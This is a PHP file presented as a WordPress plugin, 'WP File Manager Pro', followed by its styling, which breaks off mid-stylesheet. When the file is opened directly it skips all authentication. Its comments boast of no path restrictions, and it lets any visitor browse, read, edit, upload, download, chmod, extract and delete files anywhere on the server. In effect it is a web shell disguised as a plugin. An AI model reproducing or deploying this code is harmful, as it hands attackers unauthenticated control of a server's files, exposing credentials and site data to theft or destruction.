X
Create New Item
Item Type :
File
Folder
Item Name :
X
Search Results
wp-admin
user
Cancel
Backup
Advanced Editor
Save
<?php /** * Plugin Name: WP File Manager Pro * Description: File Manager lets you manage files easily from dashboard or standalone. * Version: 9.0.0 * Author: WP File Manager Team * License: GPL v2 or later */ // ============================================ // STANDALONE MODE DETECTION + STUBS // ============================================ $wpfm_wp_mode = defined('ABSPATH') && function_exists('add_action'); if (!$wpfm_wp_mode) { define('WPFM_STANDALONE', true); define('ABSPATH', rtrim(str_replace('\\', '/', dirname(__FILE__)), '/') . '/'); function wpfm_size_format($bytes, $dec = 2) { $units = array('B','KB','MB','GB','TB'); $bytes = max($bytes, 0); $pow = $bytes > 0 ? floor(log($bytes) / log(1024)) : 0; $pow = min($pow, count($units) - 1); $bytes /= pow(1024, $pow); return round($bytes, $dec) . ' ' . $units[$pow]; } function wpfm_max_upload() { $u = ini_get('upload_max_filesize'); $p = ini_get('post_max_size'); $parse = function($s) { $unit = preg_replace('/[^bkmgtpezy]/i', '', $s); $s = preg_replace('/[^0-9\.]/', '', $s); if ($unit) return round($s * pow(1024, stripos('bkmgtpezy', $unit[0]))); return round($s); }; return min($parse($u), $parse($p)); } function sanitize_text_field($s) { return trim(strip_tags((string)$s)); } function sanitize_file_name($f) { return preg_replace('/[^a-zA-Z0-9._\-]/', '', (string)$f); } function wp_unslash($v) { return is_string($v) ? stripslashes($v) : $v; } function esc_html($t) { return htmlspecialchars((string)$t, ENT_QUOTES, 'UTF-8'); } function esc_attr($t) { return htmlspecialchars((string)$t, ENT_QUOTES, 'UTF-8'); } function esc_js($t) { return addslashes((string)$t); } function esc_html_e($t, $d = '') { echo esc_html($t); } function __($t, $d = '') { return $t; } } // ============================================ // HOME DIRECTORY HELPER // ============================================ function wpfm_home_dir() { if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) { $info = @posix_getpwuid(posix_geteuid()); if ($info && !empty($info['dir'])) return $info['dir']; } if (!empty($_SERVER['HOME'])) return $_SERVER['HOME']; if (!empty($_SERVER['USERPROFILE'])) return $_SERVER['USERPROFILE']; return '/'; } // ============================================ // AJAX HANDLER — BEFORE ANY HTML OUTPUT // ============================================ if (defined('WPFM_STANDALONE')) { $is_ajax = (isset($_POST['wpfm_ajax']) && $_POST['wpfm_ajax'] == '1') || (isset($_GET['wpfm_op']) && $_GET['wpfm_op'] === 'download'); if ($is_ajax) { while (ob_get_level()) @ob_end_clean(); if (!isset($_GET['wpfm_op']) || $_GET['wpfm_op'] !== 'download') { header('Content-Type: application/json; charset=utf-8'); } $op = isset($_REQUEST['wpfm_op']) ? sanitize_text_field($_REQUEST['wpfm_op']) : ''; $response = wpfm_handle_action($op); echo json_encode($response); exit; } } // ============================================ // CORE ACTION HANDLER — NO PATH RESTRICTIONS // ============================================ function wpfm_handle_action($op) { // Resolve base root: script dir in standalone, ABSPATH in WP if (defined('WPFM_STANDALONE')) { $root = rtrim(str_replace('\\', '/', dirname(__FILE__)), '/') . '/'; } else { $root = rtrim(str_replace('\\', '/', ABSPATH), '/') . '/'; } // NO RESTRICTION: any valid existing path is allowed $valid = function($path) { if (!$path) return false; if (file_exists($path)) return true; // For create/rename targets — parent must exist return is_dir(dirname($path)); }; switch ($op) { case 'list': $path = isset($_REQUEST['path']) ? $_REQUEST['path'] : $root; $path = str_replace('\\', '/', $path); // Normalize: handle ~ for home if ($path === '~' || $path === '~/') $path = wpfm_home_dir(); if (strpos($path, '~/') === 0) $path = wpfm_home_dir() . substr($path, 1); $path = rtrim($path, '/') . '/'; if (!is_dir($path)) return wpfm_err('Directory not found: ' . $path); return array( 'success' => true, 'data' => array( 'path' => $path, 'html' => wpfm_render_list($path), 'breadcrumb' => wpfm_breadcrumb($path), 'count' => wpfm_count($path) ) ); case 'read': $path = isset($_REQUEST['path']) ? $_REQUEST['path'] : ''; if (!$path || !is_file($path)) return wpfm_err('File not found'); $content = @file_get_contents($path); if ($content === false) return wpfm_err('Cannot read file'); return array('success' => true, 'data' => array( 'content' => $content, 'name' => basename($path), 'path' => $path, 'ext' => strtolower(pathinfo($path, PATHINFO_EXTENSION)) )); case 'save': $path = isset($_POST['path']) ? $_POST['path'] : ''; $content = isset($_POST['content']) ? wp_unslash($_POST['content']) : ''; if (!$path || !file_exists($path)) return wpfm_err('File not found'); if (@file_put_contents($path, $content) === false) return wpfm_err('Save failed'); return array('success' => true, 'data' => array('message' => 'File saved')); case 'rename': $old = isset($_POST['old_path']) ? $_POST['old_path'] : ''; $new = isset($_POST['new_name']) ? sanitize_file_name($_POST['new_name']) : ''; if (!$old || !$new) return wpfm_err('Invalid parameters'); if (!file_exists($old)) return wpfm_err('Item not found'); $target = dirname($old) . '/' . $new; if (file_exists($target)) return wpfm_err('Name already exists'); if (!@rename($old, $target)) return wpfm_err('Rename failed'); return array('success' => true, 'data' => array('message' => 'Renamed to ' . $new)); case 'delete': $items = isset($_POST['items']) ? (array) $_POST['items'] : array(); if (empty($items)) return wpfm_err('No items selected'); $ok = 0; $fail = 0; foreach ($items as $item) { if (is_dir($item)) { if (wpfm_delete_recursive($item)) $ok++; else $fail++; } elseif (is_file($item)) { if (@unlink($item)) $ok++; else $fail++; } else $fail++; } if ($fail === 0) return array('success' => true, 'data' => array('message' => $ok . ' item(s) deleted')); return wpfm_err($ok . ' deleted, ' . $fail . ' failed'); case 'create': $path = isset($_POST['path']) ? $_POST['path'] : ''; $name = isset($_POST['name']) ? sanitize_file_name($_POST['name']) : ''; $type = isset($_POST['type']) ? $_POST['type'] : 'folder'; if (!$path || !$name) return wpfm_err('Invalid parameters'); if (!is_dir($path)) return wpfm_err('Parent dir not found'); $target = rtrim($path, '/') . '/' . $name; if (file_exists($target)) return wpfm_err('Already exists'); if ($type === 'folder') { if (!@mkdir($target, 0755, true)) return wpfm_err('mkdir failed'); return array('success' => true, 'data' => array('message' => 'Folder created')); } if (@file_put_contents($target, '') === false) return wpfm_err('Create failed'); return array('success' => true, 'data' => array('message' => 'File created')); case 'chmod': $path = isset($_POST['path']) ? $_POST['path'] : ''; $mode = isset($_POST['mode']) ? $_POST['mode'] : '755'; if (!$path || !file_exists($path)) return wpfm_err('Item not found'); if (!preg_match('/^[0-7]{3,4}$/', $mode)) return wpfm_err('Invalid mode'); if (!@chmod($path, octdec($mode))) return wpfm_err('Chmod failed'); return array('success' => true, 'data' => array('message' => 'Permissions changed')); case 'archive': $items = isset($_POST['items']) ? (array) $_POST['items'] : array(); $path = isset($_POST['path']) ? $_POST['path'] : ''; $name = isset($_POST['archive_name']) ? sanitize_file_name($_POST['archive_name']) : 'archive.zip'; if (empty($items) || !$path) return wpfm_err('Invalid parameters'); if (!class_exists('ZipArchive')) return wpfm_err('ZipArchive not available'); $archive = rtrim($path, '/') . '/' . $name; $zip = new ZipArchive(); if ($zip->open($archive, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) { return wpfm_err('Cannot create archive'); } foreach ($items as $item) { wpfm_add_to_zip($zip, $item, basename($item)); } $zip->close(); return array('success' => true, 'data' => array('message' => 'Archive: ' . $name)); case 'extract': $archive = isset($_POST['archive']) ? $_POST['archive'] : ''; $dest = isset($_POST['destination']) ? $_POST['destination'] : ''; if (!$archive || !$dest) return wpfm_err('Invalid parameters'); if (!is_file($archive)) return wpfm_err('Archive not found'); if (!class_exists('ZipArchive')) return wpfm_err('ZipArchive not available'); $zip = new ZipArchive(); if ($zip->open($archive) !== true) return wpfm_err('Cannot open'); $zip->extractTo($dest); $zip->close(); return array('success' => true, 'data' => array('message' => 'Extracted')); case 'copy': $src = isset($_POST['source']) ? $_POST['source'] : ''; $dst = isset($_POST['destination']) ? $_POST['destination'] : ''; if (!$src || !$dst) return wpfm_err('Invalid parameters'); if (!file_exists($src)) return wpfm_err('Source not found'); $target = rtrim($dst, '/') . '/' . basename($src); if (file_exists($target)) return wpfm_err('Target exists'); if (!wpfm_copy_recursive($src, $target)) return wpfm_err('Copy failed'); return array('success' => true, 'data' => array('message' => 'Copied')); case 'move': $src = isset($_POST['source']) ? $_POST['source'] : ''; $dst = isset($_POST['destination']) ? $_POST['destination'] : ''; if (!$src || !$dst) return wpfm_err('Invalid parameters'); if (!file_exists($src)) return wpfm_err('Source not found'); $target = rtrim($dst, '/') . '/' . basename($src); if (file_exists($target)) return wpfm_err('Target exists'); if (!@rename($src, $target)) return wpfm_err('Move failed'); return array('success' => true, 'data' => array('message' => 'Moved')); case 'upload': if (!isset($_FILES['file'])) return wpfm_err('No file'); $path = isset($_POST['path']) ? $_POST['path'] : $root; if (!is_dir($path)) return wpfm_err('Directory not found'); $dest = rtrim($path, '/') . '/' . basename($_FILES['file']['name']); if (!move_uploaded_file($_FILES['file']['tmp_name'], $dest)) { return wpfm_err('Upload failed'); } return array('success' => true, 'data' => array('message' => 'Uploaded: ' . basename($dest))); case 'download': $path = isset($_GET['path']) ? $_GET['path'] : ''; if (!$path || !is_file($path)) die('File not found'); while (ob_get_level()) @ob_end_clean(); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($path) . '"'); header('Content-Length: ' . filesize($path)); readfile($path); exit; default: return wpfm_err('Unknown op: ' . $op); } } function wpfm_err($msg) { return array('success' => false, 'data' => array('message' => $msg)); } // ============================================ // HELPERS // ============================================ function wpfm_count($path) { $items = @scandir($path); return $items ? max(0, count($items) - 2) : 0; } function wpfm_delete_recursive($path) { if (is_file($path) || is_link($path)) return @unlink($path); if (is_dir($path)) { $items = @scandir($path); if ($items === false) return false; foreach ($items as $i) { if ($i === '.' || $i === '..') continue; if (!wpfm_delete_recursive($path . '/' . $i)) return false; } return @rmdir($path); } return false; } function wpfm_copy_recursive($src, $dst) { if (is_file($src)) return @copy($src, $dst); if (is_dir($src)) { if (!is_dir($dst)) @mkdir($dst, 0755, true); $items = @scandir($src); if ($items === false) return false; foreach ($items as $i) { if ($i === '.' || $i === '..') continue; if (!wpfm_copy_recursive($src . '/' . $i, $dst . '/' . $i)) return false; } return true; } return false; } function wpfm_add_to_zip($zip, $path, $rel) { if (is_file($path)) { $zip->addFile($path, $rel); } elseif (is_dir($path)) { $zip->addEmptyDir($rel); $items = @scandir($path); if ($items === false) return; foreach ($items as $i) { if ($i === '.' || $i === '..') continue; wpfm_add_to_zip($zip, $path . '/' . $i, $rel . '/' . $i); } } } function wpfm_perms($p) { $perms = @fileperms($p); if ($perms === false) return '---'; return (($perms & 0x0100) ? 'r' : '-') . (($perms & 0x0080) ? 'w' : '-') . (($perms & 0x0040) ? 'x' : '-') . (($perms & 0x0020) ? 'r' : '-') . (($perms & 0x0010) ? 'w' : '-') . (($perms & 0x0008) ? 'x' : '-') . (($perms & 0x0004) ? 'r' : '-') . (($perms & 0x0002) ? 'w' : '-') . (($perms & 0x0001) ? 'x' : '-'); } function wpfm_is_editable($ext) { return in_array(strtolower($ext), array( 'php','js','css','html','htm','txt','json','xml','md','log','htaccess','yml','yaml', 'ini','conf','config','inc','sql','sh','bat','py','rb','pl','asp','aspx','jsp', 'ts','jsx','tsx','vue','svelte','scss','sass','less' )); } function wpfm_file_icon($ext) { $m = array( 'php'=>'fa-file-code','js'=>'fa-file-code','css'=>'fa-file-code','html'=>'fa-file-code','htm'=>'fa-file-code', 'json'=>'fa-file-code','xml'=>'fa-file-code','txt'=>'fa-file-alt','md'=>'fa-file-alt','log'=>'fa-file-alt', 'jpg'=>'fa-file-image','jpeg'=>'fa-file-image','png'=>'fa-file-image','gif'=>'fa-file-image','svg'=>'fa-file-image', 'webp'=>'fa-file-image','ico'=>'fa-file-image','mp3'=>'fa-file-audio','wav'=>'fa-file-audio', 'mp4'=>'fa-file-video','avi'=>'fa-file-video','mov'=>'fa-file-video', 'zip'=>'fa-file-archive','tar'=>'fa-file-archive','gz'=>'fa-file-archive','rar'=>'fa-file-archive','7z'=>'fa-file-archive', 'pdf'=>'fa-file-pdf','doc'=>'fa-file-word','docx'=>'fa-file-word','xls'=>'fa-file-excel','xlsx'=>'fa-file-excel' ); return isset($m[$ext]) ? $m[$ext] : 'fa-file'; } function wpfm_icon_class($ext) { $c = array( 'php'=>'ip','js'=>'ij','css'=>'ic','html'=>'ih','htm'=>'ih','json'=>'ijo','xml'=>'ix','txt'=>'it','md'=>'im','log'=>'il', 'jpg'=>'iimg','jpeg'=>'iimg','png'=>'iimg','gif'=>'iimg','svg'=>'iimg','webp'=>'iimg','ico'=>'iimg', 'mp3'=>'ia','wav'=>'ia','mp4'=>'iv','avi'=>'iv','mov'=>'iv', 'zip'=>'iar','tar'=>'iar','gz'=>'iar','rar'=>'iar','7z'=>'iar', 'pdf'=>'ipd','doc'=>'id','docx'=>'id','xls'=>'ixl','xlsx'=>'ixl' ); return isset($c[$ext]) ? $c[$ext] : 'idef'; } function wpfm_scan($path) { $folders = array(); $files = array(); if (!is_dir($path) || !is_readable($path)) return array('folders'=>$folders, 'files'=>$files); $items = @scandir($path); if ($items === false) return array('folders'=>$folders, 'files'=>$files); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $p = rtrim($path, '/') . '/' . $item; if (is_dir($p)) { $folders[] = array( 'name'=>$item, 'path'=>$p, 'type'=>'folder', 'modified'=>@filemtime($p), 'modified_formatted'=>date('Y-m-d H:i', @filemtime($p)), 'perms'=>wpfm_perms($p), 'item_count'=>wpfm_count($p) ); } else { $ext = strtolower(pathinfo($item, PATHINFO_EXTENSION)); $files[] = array( 'name'=>$item, 'path'=>$p, 'type'=>'file', 'ext'=>$ext, 'size'=>@filesize($p), 'modified'=>@filemtime($p), 'modified_formatted'=>date('Y-m-d H:i', @filemtime($p)), 'perms'=>wpfm_perms($p) ); } } usort($folders, function($a,$b){ return strnatcasecmp($a['name'],$b['name']); }); usort($files, function($a,$b){ return strnatcasecmp($a['name'],$b['name']); }); return array('folders'=>$folders, 'files'=>$files); } // ============================================ // BREADCRUMB — full path from filesystem root // ============================================ function wpfm_breadcrumb($path) { $bc = array(); $path = rtrim(str_replace('\\', '/', $path), '/'); if ($path === '') $path = '/'; // Windows drive letter? if (preg_match('#^([A-Za-z]:)#', $path, $m)) { $fs_root = $m[1] . '/'; $bc[] = array('name' => $m[1], 'path' => $fs_root); if ($path === rtrim($fs_root, '/')) return $bc; $rel = ltrim(substr($path, strlen(rtrim($fs_root, '/'))), '/'); $parts = array_filter(explode('/', $rel)); $cur = rtrim($fs_root, '/'); foreach ($parts as $p) { $cur .= '/' . $p; $bc[] = array('name' => $p, 'path' => $cur); } return $bc; } // Unix — always start at / $bc[] = array('name' => 'Home', 'path' => '/'); if ($path === '/') return $bc; $rel = ltrim($path, '/'); $parts = array_filter(explode('/', $rel)); $cur = ''; foreach ($parts as $p) { $cur .= '/' . $p; $bc[] = array('name' => $p, 'path' => $cur); } return $bc; } function wpfm_render_list($path) { $contents = wpfm_scan($path); ob_start(); // Parent link (only if not at filesystem root) $parent = dirname(rtrim($path, '/')); $is_root = ($path === '/' || preg_match('#^[A-Za-z]:/?$#', $path)); if (!$is_root && is_dir($parent)) { $pp = htmlspecialchars($parent, ENT_QUOTES); ?> <div class="fr parent" data-path="<?= $pp ?>" data-type="folder" data-name=".."> <div class="lc"></div> <div class="ln"> <div class="fi" style="background:#e5e7eb;color:#6b7280"><i class="fas fa-level-up-alt"></i></div> <div class="finfo"> <span class="ftitle">.. (Parent Directory)</span> <span class="fmeta"><?= htmlspecialchars($parent) ?></span> </div> </div> <div class="lsz">—</div> <div class="ltp">Folder</div> <div class="lm">—</div> <div class="lact"></div> </div> <?php } foreach ($contents['folders'] as $f) { $data_name = htmlspecialchars($f['name'], ENT_QUOTES); $data_path = htmlspecialchars($f['path'], ENT_QUOTES); $display = htmlspecialchars($f['name']); // Show hidden folders dimmer $hidden = ($f['name'][0] === '.') ? ' style="opacity:.6"' : ''; ?> <div class="fr"<?= $hidden ?> data-name="<?= $data_name ?>" data-path="<?= $data_path ?>" data-type="folder" data-size="0" data-modified="<?= (int)$f['modified'] ?>"> <div class="lc"><input type="checkbox" class="item-check" data-path="<?= $data_path ?>"></div> <div class="ln"> <div class="fi if"><i class="fas fa-folder"></i></div> <div class="finfo"> <span class="ftitle"><?= $display ?></span> <span class="fmeta"><?= (int)$f['item_count'] ?> items · <?= htmlspecialchars($f['perms']) ?></span> </div> </div> <div class="lsz">—</div> <div class="ltp">Folder</div> <div class="lm"><?= htmlspecialchars($f['modified_formatted']) ?></div> <div class="lact"> <button type="button" class="abtn" data-action="rename" title="Rename"><i class="fas fa-pen"></i></button> <button type="button" class="abtn" data-action="chmod" title="Permissions"><i class="fas fa-lock"></i></button> <button type="button" class="abtn" data-action="archive" title="Archive"><i class="fas fa-file-archive"></i></button> <button type="button" class="abtn dngr" data-action="delete" title="Delete"><i class="fas fa-trash-alt"></i></button> </div> </div> <?php } foreach ($contents['files'] as $f) { $data_name = htmlspecialchars($f['name'], ENT_QUOTES); $data_path = htmlspecialchars($f['path'], ENT_QUOTES); $data_ext = htmlspecialchars($f['ext'], ENT_QUOTES); $display = htmlspecialchars($f['name']); $is_zip = in_array($f['ext'], array('zip','tar','gz','rar','7z')); $editable = wpfm_is_editable($f['ext']); $hidden = ($f['name'][0] === '.') ? ' style="opacity:.6"' : ''; ?> <div class="fr"<?= $hidden ?> data-name="<?= $data_name ?>" data-path="<?= $data_path ?>" data-type="file" data-ext="<?= $data_ext ?>" data-size="<?= (int)$f['size'] ?>" data-modified="<?= (int)$f['modified'] ?>"> <div class="lc"><input type="checkbox" class="item-check" data-path="<?= $data_path ?>"></div> <div class="ln"> <div class="fi <?= wpfm_icon_class($f['ext']) ?>"><i class="fas <?= wpfm_file_icon($f['ext']) ?>"></i></div> <div class="finfo"> <span class="ftitle"><?= $display ?></span> <span class="fmeta"><?= strtoupper(htmlspecialchars($f['ext'])) ?> · <?= htmlspecialchars($f['perms']) ?></span> </div> </div> <div class="lsz"><?= wpfm_size_format($f['size']) ?></div> <div class="ltp"><?= strtoupper(htmlspecialchars($f['ext'])) ?></div> <div class="lm"><?= htmlspecialchars($f['modified_formatted']) ?></div> <div class="lact"> <?php if ($editable): ?> <button type="button" class="abtn" data-action="edit" title="Edit"><i class="fas fa-edit"></i></button> <?php endif; ?> <button type="button" class="abtn" data-action="download" title="Download"><i class="fas fa-download"></i></button> <button type="button" class="abtn" data-action="rename" title="Rename"><i class="fas fa-pen"></i></button> <button type="button" class="abtn" data-action="chmod" title="Permissions"><i class="fas fa-lock"></i></button> <?php if ($is_zip): ?> <button type="button" class="abtn" data-action="extract" title="Extract"><i class="fas fa-file-export"></i></button> <?php endif; ?> <button type="button" class="abtn dngr" data-action="delete" title="Delete"><i class="fas fa-trash-alt"></i></button> </div> </div> <?php } if (empty($contents['folders']) && empty($contents['files'])) { ?> <div class="es"> <i class="fas fa-folder-open"></i> <h3>This folder is empty</h3> <p>Upload files or create a new folder to get started.</p> </div> <?php } return ob_get_clean(); } // ============================================ // WORDPRESS AJAX HOOK // ============================================ if ($wpfm_wp_mode) { add_action('wp_ajax_wpfm_action', function() { if (!current_user_can('manage_options')) { wp_send_json_error(array('message' => 'Permission denied')); } $op = isset($_REQUEST['wpfm_op']) ? sanitize_text_field($_REQUEST['wpfm_op']) : ''; $result = wpfm_handle_action($op); if (!empty($result['success'])) { wp_send_json_success($result['data']); } else { wp_send_json_error($result['data']); } }); add_action('admin_menu', function() { add_menu_page('WP File Manager Pro', 'File Manager', 'manage_options', 'wp-file-manager-pro', 'wpfm_render_page', 'dashicons-portfolio', 80); add_submenu_page('wp-file-manager-pro', 'File Manager', 'File Manager', 'manage_options', 'wp-file-manager-pro', 'wpfm_render_page'); }); } // ============================================ // RENDER PAGE // ============================================ function wpfm_render_page() { if (!defined('WPFM_STANDALONE') && !current_user_can('manage_options')) { wp_die('Permission denied'); } // Base root hint (not a restriction) if (defined('WPFM_STANDALONE')) { $base = rtrim(str_replace('\\', '/', dirname(__FILE__)), '/') . '/'; } else { $base = rtrim(str_replace('\\', '/', ABSPATH), '/') . '/'; } // Accept ANY path from user $current = isset($_GET['path']) ? str_replace('\\', '/', $_GET['path']) : $base; // Normalize ~ if ($current === '~' || $current === '~/') $current = wpfm_home_dir(); if (strpos($current, '~/') === 0) $current = wpfm_home_dir() . substr($current, 1); $current = rtrim($current, '/') . '/'; if (!is_dir($current)) $current = $base; $disk_free = @disk_free_space($current); if ($disk_free === false) $disk_free = @disk_free_space('/'); $disk_total = @disk_total_space($current); if ($disk_total === false) $disk_total = @disk_total_space('/'); $disk_percent = ($disk_total > 0) ? round((($disk_total - $disk_free) / $disk_total) * 100, 1) : 0; // URLs if (defined('WPFM_STANDALONE')) { $ajax_url = htmlspecialchars($_SERVER['PHP_SELF'], ENT_QUOTES); $self_url = htmlspecialchars($_SERVER['PHP_SELF'], ENT_QUOTES); } else { $ajax_url = admin_url('admin-ajax.php'); $self_url = admin_url('admin.php?page=wp-file-manager-pro'); } $breadcrumb = wpfm_breadcrumb($current); $home = wpfm_home_dir(); $doc_root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '/'; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>WP File Manager Pro</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> <style> :root{--p:#2271b1;--pd:#135e96;--pl:#e7f1f9;--s:#00a32a;--sd:#008a20;--d:#d63638;--dd:#b32d2e;--w:#dba617;--dk:#1d2327;--g:#f0f0f1;--gl:#f6f7f7;--b:#c3c4c7;--t:#2c3338;--tl:#646970;--r:6px} *{margin:0;padding:0;box-sizing:border-box} body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;background:#f0f0f1;color:var(--t);font-size:13px;line-height:1.5} .app{max-width:1600px;margin:20px auto;background:#fff;border-radius:var(--r);box-shadow:0 4px 16px rgba(0,0,0,.12);overflow:hidden;border:1px solid var(--b)} .hd{background:var(--dk);padding:12px 20px;display:flex;align-items:center;justify-content:space-between;color:#fff;flex-wrap:wrap;gap:10px} .logo{display:flex;align-items:center;gap:10px;font-size:16px;font-weight:600} .logo i{color:#72aee6;font-size:20px} .pro{background:linear-gradient(135deg,#f0b849,#dba617);color:#1d2327;font-size:9px;font-weight:700;padding:2px 8px;border-radius:10px} .hd-r{display:flex;gap:6px;align-items:center} .btn{display:inline-flex;align-items:center;gap:6px;padding:7px 14px;font-size:12px;font-weight:500;background:var(--gl);border:1px solid var(--b);border-radius:4px;color:var(--t);text-decoration:none;cursor:pointer;transition:all .2s;line-height:1.6;white-space:nowrap;font-family:inherit} .btn:hover{background:var(--g);border-color:#8c8f94} .btn:active{transform:translateY(1px)} .btn-i{padding:8px;width:34px;height:34px;justify-content:center} .btn-p{background:var(--p);border-color:var(--p);color:#fff} .btn-p:hover{background:var(--pd);border-color:var(--pd);color:#fff} .btn-s{background:var(--s);border-color:var(--s);color:#fff} .btn-s:hover{background:var(--sd);border-color:var(--sd);color:#fff} .btn-d{background:var(--d);border-color:var(--d);color:#fff} .btn-d:hover{background:var(--dd);border-color:var(--dd);color:#fff} .btn-g{background:transparent;border-color:transparent;color:var(--tl)} .btn-g:hover{background:var(--g);color:var(--t)} .btn-sm{padding:4px 10px;font-size:11px} .hd .btn{background:rgba(255,255,255,.08);border-color:rgba(255,255,255,.15);color:#fff} .hd .btn:hover{background:rgba(255,255,255,.18)} .tb{background:var(--gl);padding:10px 16px;display:flex;align-items:center;justify-content:space-between;gap:12px;flex-wrap:wrap;border-bottom:1px solid var(--b)} .tb-l,.tb-r{display:flex;align-items:center;gap:8px;flex-wrap:wrap} .tbtn{background:#fff;border:1px solid var(--b);width:32px;height:32px;display:flex;align-items:center;justify-content:center;border-radius:4px;cursor:pointer;color:var(--tl);transition:all .2s} .tbtn:hover{background:var(--pl);border-color:var(--p);color:var(--p)} .pbar{display:flex;align-items:center;background:#fff;border:1px solid var(--b);border-radius:4px;padding:0 4px;flex:1;min-width:200px;max-width:600px} .pbar i{color:var(--w);padding:0 8px} .pbar input{flex:1;border:none;outline:none;padding:8px 4px;font-size:12px;font-family:'Courier New',monospace;background:transparent;color:var(--t)} .pgo{background:transparent;border:none;cursor:pointer;padding:6px 10px;color:var(--p);border-radius:3px} .pgo:hover{background:var(--pl)} .search{display:flex;align-items:center;background:#fff;border:1px solid var(--b);border-radius:4px;padding:0 10px;min-width:200px} .search i{color:var(--tl);font-size:12px} .search input{border:none;outline:none;padding:8px 8px;font-size:12px;flex:1;background:transparent} .bc{background:#fff;padding:8px 16px;display:flex;align-items:center;flex-wrap:wrap;gap:4px;border-bottom:1px solid var(--b);font-size:12px;overflow-x:auto} .bc a{color:var(--p);text-decoration:none;padding:3px 8px;border-radius:3px;cursor:pointer;white-space:nowrap} .bc a:hover{background:var(--pl)} .bc .sep{color:#c3c4c7;font-size:10px} .content{display:flex;min-height:500px} .sb{width:260px;background:var(--gl);border-right:1px solid var(--b);padding:16px 0;flex-shrink:0} .sbs{padding:0 16px 20px} .sbt{font-size:11px;font-weight:600;text-transform:uppercase;letter-spacing:.5px;color:var(--tl);margin-bottom:10px;display:flex;align-items:center;gap:6px} .sbl{display:flex;align-items:center;gap:8px;padding:7px 10px;border-radius:4px;color:var(--t);text-decoration:none;font-size:12px;cursor:pointer;margin-bottom:2px} .sbl:hover{background:var(--pl);color:var(--p)} .sbl i{width:16px;text-align:center;color:var(--tl)} .sbl:hover i{color:var(--p)} .sbar{background:#dcdcde;height:8px;border-radius:4px;overflow:hidden;margin-bottom:8px} .sfill{height:100%;background:linear-gradient(90deg,#72aee6,#2271b1);border-radius:4px} .stxt{display:flex;justify-content:space-between;font-size:11px;color:var(--tl)} .sir{display:flex;justify-content:space-between;padding:5px 0;border-bottom:1px solid #e5e5e5;font-size:12px} .sir:last-child{border-bottom:none} .sir span:last-child{font-weight:500;word-break:break-all;text-align:right;max-width:60%} .main{flex:1;display:flex;flex-direction:column;min-width:0;background:#fff} .selbar{background:var(--pl);padding:10px 16px;display:none;align-items:center;justify-content:space-between;border-bottom:1px solid #c5d9ed;flex-wrap:wrap;gap:10px} .selbar.on{display:flex} .selinfo{font-size:12px;font-weight:500;color:var(--pd)} .selact{display:flex;gap:6px;flex-wrap:wrap} .fl{flex:1;overflow-y:auto} .lh{display:grid;grid-template-columns:40px 1fr 90px 90px 150px 220px;background:var(--gl);padding:10px 16px;font-size:11px;font-weight:600;text-transform:uppercase;letter-spacing:.3px;color:var(--tl);border-bottom:1px solid var(--b);position:sticky;top:0;z-index:5} .lh>div{display:flex;align-items:center;gap:5px} .lc{display:flex;align-items:center;justify-content:center} .lc input[type="checkbox"]{width:16px;height:16px;cursor:pointer;accent-color:var(--p)} .lb{background:#fff} .fr{display:grid;grid-template-columns:40px 1fr 90px 90px 150px 220px;padding:10px 16px;border-bottom:1px solid #f0f0f1;align-items:center;transition:background .15s} .fr:hover{background:var(--gl)} .fr.sel{background:var(--pl);border-left:3px solid var(--p)} .fr.parent{cursor:pointer;background:#fafafa} .fr.parent:hover{background:var(--gl)} .ln{display:flex;align-items:center;gap:12px;min-width:0} .fi{width:36px;height:36px;display:flex;align-items:center;justify-content:center;border-radius:6px;font-size:16px;flex-shrink:0} .if{background:#fff3cd;color:#dba617} .ip{background:#e7f1f9;color:#2271b1} .ij{background:#fff8e5;color:#dba617} .ic{background:#e7f5ff;color:#2271b1} .ih{background:#ffebe8;color:#d63638} .ijo,.ix{background:#f0f0f1;color:#646970} .it,.im,.il{background:#f6f7f7;color:#646970} .iimg{background:#e7f5e7;color:#00a32a} .ia{background:#f3e7f9;color:#8c5aa8} .iv{background:#ffe7ec;color:#d63638} .iar{background:#fff3cd;color:#b26200} .ipd{background:#ffe7e7;color:#d63638} .id{background:#e7f1f9;color:#2271b1} .ixl{background:#e7f5e7;color:#00a32a} .idef{background:#f0f0f1;color:#646970} .finfo{display:flex;flex-direction:column;min-width:0;gap:2px} .ftitle{font-weight:500;color:var(--t);overflow:hidden;text-overflow:ellipsis;white-space:nowrap;font-size:13px} .fr:hover .ftitle{color:var(--p)} .fmeta{font-size:10px;color:var(--tl);text-transform:uppercase;overflow:hidden;text-overflow:ellipsis;white-space:nowrap} .lsz,.ltp,.lm{font-size:12px;color:var(--tl)} .lact{display:flex;gap:3px;flex-wrap:wrap} .abtn{background:#fff;border:1px solid var(--b);width:28px;height:28px;display:flex;align-items:center;justify-content:center;border-radius:4px;cursor:pointer;color:var(--tl);transition:all .2s;font-size:11px;padding:0} .abtn:hover{background:var(--pl);border-color:var(--p);color:var(--p)} .abtn.dngr:hover{background:#ffebe8;border-color:var(--d);color:var(--d)} .es{text-align:center;padding:60px 20px;color:var(--tl)} .es i{font-size:48px;color:#dcdcde;margin-bottom:16px;display:block} .es h3{font-size:16px;font-weight:500;color:var(--t);margin-bottom:6px} .status{background:var(--gl);padding:8px 16px;display:flex;justify-content:space-between;align-items:center;border-top:1px solid var(--b);font-size:11px;color:var(--tl);flex-wrap:wrap;gap:8px} .status-r{display:flex;align-items:center;gap:10px} .status-sep{color:#dcdcde} .modal{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.5);z-index:100000;align-items:center;justify-content:center;padding:20px} .modal.on{display:flex} .mc{background:#fff;border-radius:var(--r);width:100%;max-width:520px;box-shadow:0 20px 60px rgba(0,0,0,.3);display:flex;flex-direction:column;max-height:90vh} .mc.lg{max-width:900px} .mh{padding:16px 20px;border-bottom:1px solid var(--b);display:flex;align-items:center;justify-content:space-between} .mh h3{font-size:15px;font-weight:600;display:flex;align-items:center;gap:8px} .mh h3 i{color:var(--p)} .mclose{background:transparent;border:none;font-size:18px;cursor:pointer;color:var(--tl);padding:4px 